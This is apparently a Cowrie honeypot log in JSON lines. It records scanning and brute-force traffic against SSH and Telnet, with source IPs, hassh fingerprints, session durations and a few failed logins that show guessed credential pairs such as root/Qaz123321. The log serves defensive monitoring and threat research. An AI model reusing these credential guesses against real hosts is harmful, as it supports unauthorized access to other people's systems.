{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:39.010614Z","src_ip":"43.157.98.118","session":"106d096d594c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123321","message":"login attempt [root/Qaz123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:39.692191Z","src_ip":"43.157.98.118","session":"106d096d594c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:40.782953Z","src_ip":"43.157.98.118","session":"106d096d594c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":40602,"dst_ip":"10.17.0.5","dst_port":23,"session":"07aab9d0756c","protocol":"telnet","message":"New connection: 107.182.235.153:40602 (10.17.0.5:23) [session: 07aab9d0756c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:43.749018Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":63223,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0276ecd4209","protocol":"ssh","message":"New connection: 178.27.90.142:63223 (159.203.135.109:22) [session: a0276ecd4209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:43.830820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:43.835624Z","src_ip":"178.27.90.142","session":"a0276ecd4209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56688,"dst_ip":"10.17.0.5","dst_port":23,"session":"c201a602b399","protocol":"telnet","message":"New connection: 137.184.155.248:56688 (10.17.0.5:23) [session: c201a602b399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:43.843711Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:43.942125Z","src_ip":"178.27.90.142","session":"a0276ecd4209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"pass","message":"login attempt [dev/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:44.385775Z","src_ip":"178.27.90.142","session":"a0276ecd4209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":39556,"dst_ip":"10.17.0.5","dst_port":23,"session":"91dceb2dc187","protocol":"telnet","message":"New connection: 107.182.235.153:39556 (10.17.0.5:23) [session: 91dceb2dc187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:44.525478Z"}
{"eventid":"cowrie.session.closed","duration":0.005266427993774414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:44.530522Z","src_ip":"107.182.235.153","session":"91dceb2dc187","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":49036,"dst_ip":"159.203.135.109","dst_port":23,"session":"c57e0774a024","protocol":"telnet","message":"New connection: 162.248.7.67:49036 (159.203.135.109:23) [session: c57e0774a024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:44.660268Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":46446,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc9205e566b","protocol":"telnet","message":"New connection: 107.182.235.153:46446 (10.17.0.5:23) [session: fcc9205e566b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:44.770918Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:45.488878Z","src_ip":"178.27.90.142","session":"a0276ecd4209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.72275161743164,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:45.880716Z","src_ip":"137.184.155.248","session":"55b60784aeff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":32836,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8bb815d8c52","protocol":"telnet","message":"New connection: 103.249.100.206:32836 (10.17.0.5:23) [session: e8bb815d8c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:46.419630Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":35574,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd92e4ca0dc6","protocol":"telnet","message":"New connection: 107.182.235.153:35574 (10.17.0.5:23) [session: cd92e4ca0dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:46.980217Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":55814,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eeb4993fcd2","protocol":"telnet","message":"New connection: 162.248.7.67:55814 (159.203.135.109:23) [session: 1eeb4993fcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:53.023742Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":55932,"dst_ip":"159.203.135.109","dst_port":23,"session":"847b7e31c286","protocol":"telnet","message":"New connection: 162.248.7.67:55932 (159.203.135.109:23) [session: 847b7e31c286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:53.156632Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":43514,"dst_ip":"10.17.0.5","dst_port":23,"session":"d64d28f05c8b","protocol":"telnet","message":"New connection: 107.182.235.153:43514 (10.17.0.5:23) [session: d64d28f05c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:55.881818Z"}
{"eventid":"cowrie.session.closed","duration":30.27060294151306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:56.536588Z","src_ip":"162.248.7.67","session":"b824fa65478e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43200,"dst_ip":"10.17.0.5","dst_port":23,"session":"d15356dfc0e3","protocol":"telnet","message":"New connection: 137.184.155.248:43200 (10.17.0.5:23) [session: d15356dfc0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:57.616962Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":59520,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7e791e77db7","protocol":"telnet","message":"New connection: 162.248.7.67:59520 (159.203.135.109:23) [session: b7e791e77db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:58.037361Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43212,"dst_ip":"10.17.0.5","dst_port":23,"session":"235b881f04bb","protocol":"telnet","message":"New connection: 137.184.155.248:43212 (10.17.0.5:23) [session: 235b881f04bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:58.267204Z"}
{"eventid":"cowrie.session.closed","duration":30.570561170578003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:58.377518Z","src_ip":"162.248.7.67","session":"881b85b6c39b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":59316,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bffe4b43cb6","protocol":"telnet","message":"New connection: 162.248.7.67:59316 (159.203.135.109:23) [session: 7bffe4b43cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:58.577378Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":33376,"dst_ip":"159.203.135.109","dst_port":23,"session":"e34eaa743e1d","protocol":"telnet","message":"New connection: 162.248.7.67:33376 (159.203.135.109:23) [session: e34eaa743e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:00.559667Z"}
{"eventid":"cowrie.session.closed","duration":31.710614442825317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:01.039628Z","src_ip":"162.248.7.67","session":"2a944ba49652","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":56892,"dst_ip":"10.17.0.5","dst_port":23,"session":"798e9d3e64f6","protocol":"telnet","message":"New connection: 103.249.100.206:56892 (10.17.0.5:23) [session: 798e9d3e64f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:01.344445Z"}
{"eventid":"cowrie.session.closed","duration":47.885374784469604,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:01.350085Z","src_ip":"137.184.155.248","session":"52f878ac68cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36158275604248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:02.807762Z","src_ip":"107.182.235.153","session":"464217ea5cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":36786,"dst_ip":"159.203.135.109","dst_port":23,"session":"1990176cab03","protocol":"telnet","message":"New connection: 162.248.7.67:36786 (159.203.135.109:23) [session: 1990176cab03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:04.790467Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":37484,"dst_ip":"159.203.135.109","dst_port":23,"session":"00abcf57f2b2","protocol":"telnet","message":"New connection: 162.248.7.67:37484 (159.203.135.109:23) [session: 00abcf57f2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:05.809863Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":37672,"dst_ip":"159.203.135.109","dst_port":23,"session":"640e92151638","protocol":"telnet","message":"New connection: 162.248.7.67:37672 (159.203.135.109:23) [session: 640e92151638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:06.086300Z"}
{"eventid":"cowrie.session.closed","duration":31.755674600601196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:06.485915Z","src_ip":"107.182.235.153","session":"ba6f3e30271e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52186,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dbc46484b39","protocol":"telnet","message":"New connection: 103.249.100.206:52186 (10.17.0.5:23) [session: 8dbc46484b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:06.590183Z"}
{"eventid":"cowrie.session.closed","duration":31.470868825912476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:06.786694Z","src_ip":"162.248.7.67","session":"e830a28433ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":39566,"dst_ip":"10.17.0.5","dst_port":23,"session":"33575bb21b84","protocol":"telnet","message":"New connection: 107.182.235.153:39566 (10.17.0.5:23) [session: 33575bb21b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:08.287145Z"}
{"eventid":"cowrie.session.closed","duration":0.0049896240234375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:08.292009Z","src_ip":"107.182.235.153","session":"33575bb21b84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28864884376526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:08.596018Z","src_ip":"162.248.7.67","session":"81d2916a178d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":39422,"dst_ip":"10.17.0.5","dst_port":23,"session":"154ad775888d","protocol":"telnet","message":"New connection: 103.249.100.206:39422 (10.17.0.5:23) [session: 154ad775888d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:10.586179Z"}
{"eventid":"cowrie.session.closed","duration":46.56879687309265,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:11.703052Z","src_ip":"137.184.155.248","session":"d08355f0f53f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":42616,"dst_ip":"10.17.0.5","dst_port":23,"session":"d089c690dd1f","protocol":"telnet","message":"New connection: 107.182.235.153:42616 (10.17.0.5:23) [session: d089c690dd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:13.290354Z"}
{"eventid":"cowrie.session.closed","duration":30.536649227142334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:14.285534Z","src_ip":"107.182.235.153","session":"07aab9d0756c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076374769210815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:15.736526Z","src_ip":"162.248.7.67","session":"c57e0774a024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976035356521606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:15.746830Z","src_ip":"107.182.235.153","session":"fcc9205e566b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.000434160232544,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:17.170428Z","src_ip":"137.184.155.248","session":"2c5cdb70fa0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207661867141724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:17.627184Z","src_ip":"103.249.100.206","session":"e8bb815d8c52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":40858,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f03beab867c","protocol":"ssh","message":"New connection: 102.211.152.138:40858 (159.203.135.109:22) [session: 8f03beab867c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:18.140593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:18.146406Z","src_ip":"102.211.152.138","session":"8f03beab867c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:18.254456Z","src_ip":"102.211.152.138","session":"8f03beab867c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.569658994674683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:18.549755Z","src_ip":"107.182.235.153","session":"cd92e4ca0dc6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"admin123","message":"login attempt [esuser/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:18.717078Z","src_ip":"102.211.152.138","session":"8f03beab867c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:19.830861Z","src_ip":"102.211.152.138","session":"8f03beab867c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":43334,"dst_ip":"10.17.0.5","dst_port":23,"session":"a160df275d68","protocol":"telnet","message":"New connection: 107.182.235.153:43334 (10.17.0.5:23) [session: a160df275d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:20.387154Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55536,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0dd447e2844","protocol":"telnet","message":"New connection: 103.249.100.206:55536 (10.17.0.5:23) [session: b0dd447e2844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:23.981319Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":34614,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db95a0e2f5a","protocol":"telnet","message":"New connection: 107.182.235.153:34614 (10.17.0.5:23) [session: 1db95a0e2f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:24.114557Z"}
{"eventid":"cowrie.session.closed","duration":31.128843545913696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:24.152462Z","src_ip":"162.248.7.67","session":"1eeb4993fcd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05205726623535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:24.208576Z","src_ip":"162.248.7.67","session":"847b7e31c286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":55922,"dst_ip":"10.17.0.5","dst_port":23,"session":"93279f955c58","protocol":"telnet","message":"New connection: 107.182.235.153:55922 (10.17.0.5:23) [session: 93279f955c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:26.146722Z"}
{"eventid":"cowrie.session.closed","duration":30.767287492752075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:26.649002Z","src_ip":"107.182.235.153","session":"d64d28f05c8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":38936,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f1eadcfa281","protocol":"ssh","message":"New connection: 43.157.98.118:38936 (159.203.135.109:22) [session: 3f1eadcfa281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:27.347961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:27.394364Z","src_ip":"43.157.98.118","session":"3f1eadcfa281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-g